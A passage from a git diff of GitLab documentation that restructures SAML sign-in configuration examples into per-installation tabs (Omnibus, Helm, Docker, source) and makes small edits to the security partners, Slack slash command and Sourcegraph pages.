{ nickname: ['username'] } + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + attribute_statements: + nickname: ['username'] + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + attribute_statements: { nickname: ['username'] } + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + attribute_statements: { nickname: ['username'] } + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs This also sets the `username` attribute in your SAML Response to the username in GitLab. @@ -733,34 +2288,152 @@ To allow for a small amount of clock drift, use `allowed_clock_drift` in your settings. You must enter the parameter's value in a number and fraction of seconds. The value given is added to the current time at which the response is validated. -```yaml -args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', - attribute_statements: { email: ['EmailAddress'] }, - allowed_clock_drift: 1 # for one second clock drift -} -``` +::Tabs -### Designate a unique attribute for the `uid` +:::TabTitle Linux package (Omnibus) -By default, the `uid` is set as the `name_id` in the SAML response. To designate -a unique attribute for the `uid`, you can set the `uid_attribute`. In the following -example, the value of `uid` attribute in the SAML response is set as the `uid_attribute`. +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + allowed_clock_drift: 1 # for one second clock drift + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + groups_attribute: 'Groups' + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'] + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + allowed_clock_drift: 1 # for one second clock drift + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + allowed_clock_drift: 1 # for one second clock drift + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + allowed_clock_drift: 1 # for one second clock drift + } + } + ``` -```yaml -args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', - uid_attribute: 'uid' -} -``` +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs + +### Designate a unique attribute for the `uid` Before setting the `uid` to a unique attribute, make sure that you have configured the following attributes so your SAML users cannot change them: @@ -772,6 +2445,153 @@ If users can change these attributes, they can sign in as other authorized users See your SAML IdP documentation for information on how to make these attributes unchangeable. +By default, the `uid` is set as the `name_id` in the SAML response. To designate +a unique attribute for the `uid`, you can set the `uid_attribute`. In the following +example, the value of `uid` attribute in the SAML response is set as the `uid_attribute`. + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + uid_attribute: 'uid' + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + groups_attribute: 'Groups' + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'] + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + uid_attribute: 'uid' + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + uid_attribute: 'uid' + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + uid_attribute: 'uid' + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs + ## Assertion encryption (optional) GitLab requires the use of TLS encryption with SAML 2.0. Sometimes, GitLab needs @@ -782,6 +2602,13 @@ additional assertion encryption. For example, if you: Most organizations should not need additional encryption at this layer. +Your IdP encrypts the assertion with the public certificate of GitLab. +GitLab decrypts the `EncryptedAssertion` with its private key. + +NOTE: +This integration uses the `certificate` and `private_key` settings for both +assertion encryption and request signing. + The SAML integration supports `EncryptedAssertion`. To encrypt your assertions, define the private key and the public certificate of your GitLab instance in the SAML settings. @@ -789,24 +2616,154 @@ SAML settings. When you define the key and certificate, replace all line feeds in the key file with `\n`. This makes the key file one long string with no line feeds. -```yaml -args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', - certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----', - private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----' -} -``` +::Tabs -Your IdP encrypts the assertion with the public certificate of GitLab. -GitLab decrypts the `EncryptedAssertion` with its private key. +:::TabTitle Linux package (Omnibus) -NOTE: -This integration uses the `certificate` and `private_key` settings for both -assertion encryption and request signing. +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----', + private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----' + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + groups_attribute: 'Groups' + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'] + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----' + private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----' + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----', + private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----' + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----', + private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----' + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ## Sign SAML authentication requests (optional) @@ -820,24 +2777,173 @@ To implement signing: 1. Configure the signing settings in the `security` section of the configuration. For example: -```yaml -args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', - certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----', - private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----', - security: { - authn_requests_signed: true, # enable signature on AuthNRequest - want_assertions_signed: true, # enable the requirement of signed assertion - metadata_signed: false, # enable signature on Metadata - signature_method: 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256', - digest_method: 'http://www.w3.org/2001/04/xmlenc#sha256', - } -} -``` + ::Tabs + + :::TabTitle Linux package (Omnibus) + + 1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----', + private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----', + security: { + authn_requests_signed: true, # enable signature on AuthNRequest + want_assertions_signed: true, # enable the requirement of signed assertion + metadata_signed: false, # enable signature on Metadata + signature_method: 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256', + digest_method: 'http://www.w3.org/2001/04/xmlenc#sha256', + } + } + } + ] + ``` + + 1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + + :::TabTitle Helm chart (Kubernetes) + + 1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----' + private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----' + security: + authn_requests_signed: true # enable signature on AuthNRequest + want_assertions_signed: true # enable the requirement of signed assertion + metadata_signed: false # enable signature on Metadata + signature_method: 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256' + digest_method: 'http://www.w3.org/2001/04/xmlenc#sha256' + ``` + + 1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + + 1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + + 1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + + 1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + + :::TabTitle Docker + + 1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----', + private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----', + security: { + authn_requests_signed: true, # enable signature on AuthNRequest + want_assertions_signed: true, # enable the requirement of signed assertion + metadata_signed: false, # enable signature on Metadata + signature_method: 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256', + digest_method: 'http://www.w3.org/2001/04/xmlenc#sha256', + } + } + } + ] + ``` + + 1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + + :::TabTitle Self-compiled (source) + + 1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + certificate: '-----BEGIN CERTIFICATE-----\n<redacted>\n-----END CERTIFICATE-----', + private_key: '-----BEGIN PRIVATE KEY-----\n<redacted>\n-----END PRIVATE KEY-----', + security: { + authn_requests_signed: true, # enable signature on AuthNRequest + want_assertions_signed: true, # enable the requirement of signed assertion + metadata_signed: false, # enable signature on Metadata + signature_method: 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256', + digest_method: 'http://www.w3.org/2001/04/xmlenc#sha256', + } + } + } + ``` + + 1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + + ::EndTabs GitLab then: @@ -879,24 +2985,108 @@ self-managed instance. To configure group SAML SSO: -1. [Configure GitLab with HTTPS](../install/installation.md#using-https). -1. Enable OmniAuth and the `group_saml` provider. +::Tabs + +:::TabTitle Linux package (Omnibus) - To do this for Omnibus GitLab installations, edit `gitlab.rb`: +1. Make sure GitLab is [configured with HTTPS](https://docs.gitlab.com/omnibus/settings/ssl/). +1. Edit `/etc/gitlab/gitlab.rb` to enable OmniAuth and the `group_saml` provider: ```ruby gitlab_rails['omniauth_enabled'] = true gitlab_rails['omniauth_providers'] = [{ name: 'group_saml' }] ``` - For installations from source, edit `gitlab/config/gitlab.yml`: +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Make sure GitLab is [configured with HTTPS](https://docs.gitlab.com/charts/installation/tls.html). +1. Put the following content in a file named `group_saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'group_saml' + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-group-saml --from-file=provider=group_saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml` to enable OmniAuth and the `group_saml` provider: + + ```yaml + global: + appConfig: + omniauth: + enabled: true + providers: + - secret: gitlab-group-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Make sure GitLab is [configured with HTTPS](https://docs.gitlab.com/omnibus/settings/ssl/). +1. Edit `docker-compose.yml` to enable OmniAuth and the `group_saml` provider: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_enabled'] = true + gitlab_rails['omniauth_providers'] = [{ name: 'group_saml' }] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Make sure GitLab is [configured with HTTPS](../install/installation.md#using-https). +1. Edit `/home/git/gitlab/config/gitlab.yml` to enable OmniAuth and the `group_saml` provider: + + ```yaml + production: &base + omniauth: + enabled: true + providers: + - { name: 'group_saml' } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` - ```yaml - omniauth: - enabled: true - providers: - - { name: 'group_saml' } - ``` +::EndTabs As a multi-tenant solution, group SAML on a self-managed instance is limited compared to the recommended [instance-wide SAML](../user/group/saml_sso/index.md). Use diff --git a/doc/integration/security_partners/index.md b/doc/integration/security_partners/index.md index a337ed7757b..1ad8ab03914 100644 --- a/doc/integration/security_partners/index.md +++ b/doc/integration/security_partners/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index --- -# Security partner integrations **(FREE)** +# Security partners **(FREE)** You can integrate GitLab with its security partners. This page has information on how do this with each security partner: @@ -25,5 +25,6 @@ each security partner: - [Tenable](https://docs.tenable.com/tenableio/Content/ContainerSecurity/GetStarted.htm) - [Venafi](https://marketplace.venafi.com/details/gitlab-ci-cd/) - [Veracode](https://community.veracode.com/s/knowledgeitem/gitlab-ci-MCEKSYPRWL35BRTGOVI55SK5RI4A) +- [Fortify](https://www.microfocus.com/en-us/fortify-integrations/gitlab) <!-- vale gitlab.Spelling = YES --> diff --git a/doc/integration/slash_commands.md b/doc/integration/slash_commands.md index 5eefa1138aa..a8f31da940a 100644 --- a/doc/integration/slash_commands.md +++ b/doc/integration/slash_commands.md @@ -13,10 +13,13 @@ working in Slack and Mattermost, you can use slash commands. Type the command as a message in your chat client to activate it. For Slack, this requires an [integration configuration](../user/project/integrations/slack_slash_commands.md). -Slash commands are scoped to a project -and require the trigger command specified during configuration. +Slash commands are scoped to a project and require +a specified trigger command during configuration. +You should use the project name as the trigger command. -We suggest you use the project name as the trigger command for simplicity and clarity. +If you're using the [GitLab for Slack app](../user/project/integrations/gitlab_slack_application.md) for +your GitLab.com projects, [add the `gitlab` keyword at the beginning of the command](../user/project/integrations/gitlab_slack_application.md#slash-commands) +(for example, `/gitlab <project-name> issue show <id>`). Assuming `project-name` is the trigger command, the slash commands are: @@ -32,9 +35,6 @@ Assuming `project-name` is the trigger command, the slash commands are: | `/project-name deploy <from> to <to>` | [Deploys](#deploy-command) from the `<from>` environment to the `<to>` environment. | | `/project-name run <job name> <arguments>` | Executes the [ChatOps](../ci/chatops/index.md) job `<job name>` on the default branch. | -If you are using the [GitLab for Slack app](../user/project/integrations/gitlab_slack_application.md) for -your GitLab.com projects, [add the `gitlab` keyword at the beginning of the command](../user/project/integrations/gitlab_slack_application.md#usage). - ## Issue commands You can create a new issue, display issue details, and search up to 5 issues. diff --git a/doc/integration/sourcegraph.md b/doc/integration/sourcegraph.md index 39efccb7c50..a40290683a5 100644 --- a/doc/integration/sourcegraph.md +++ b/doc/integration/sourcegraph.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, how-to --- -# Sourcegraph integration **(FREE)** +# Sourcegraph **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16556) in GitLab 12.5 [with a flag](../administration/feature_flags.md) named `sourcegraph`. Disabled by default. > - Enabled on GitLab.com in GitLab 12.5. @@ -63,7 +63,7 @@ If a GitLab administrator has enabled Sourcegraph, you can enable this feature i In GitLab: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Preferences**. 1. In the **Integrations** section, select the checkbox under **Sourcegraph**. 1. Select **Save changes**. @@ -99,11 +99,11 @@ for updates. ### Sourcegraph isn't working -If you enabled Sourcegraph for your project but it isn't working, Sourcegraph may not have indexed the project yet. You can check for Sourcegraph's availability of your project by visiting `https://sourcegraph.com/gitlab.com/<project-path>`replacing `<project-path>` with the path to your GitLab project. +If you enabled Sourcegraph for your project but it isn't working, Sourcegraph may not have indexed the project yet. You can check if Sourcegraph is available for your project by visiting `https://sourcegraph.com/gitlab.com/<project-path>`replacing `<project-path>` with the path to your GitLab project. ## Sourcegraph and Privacy -From Sourcegraph's [extension 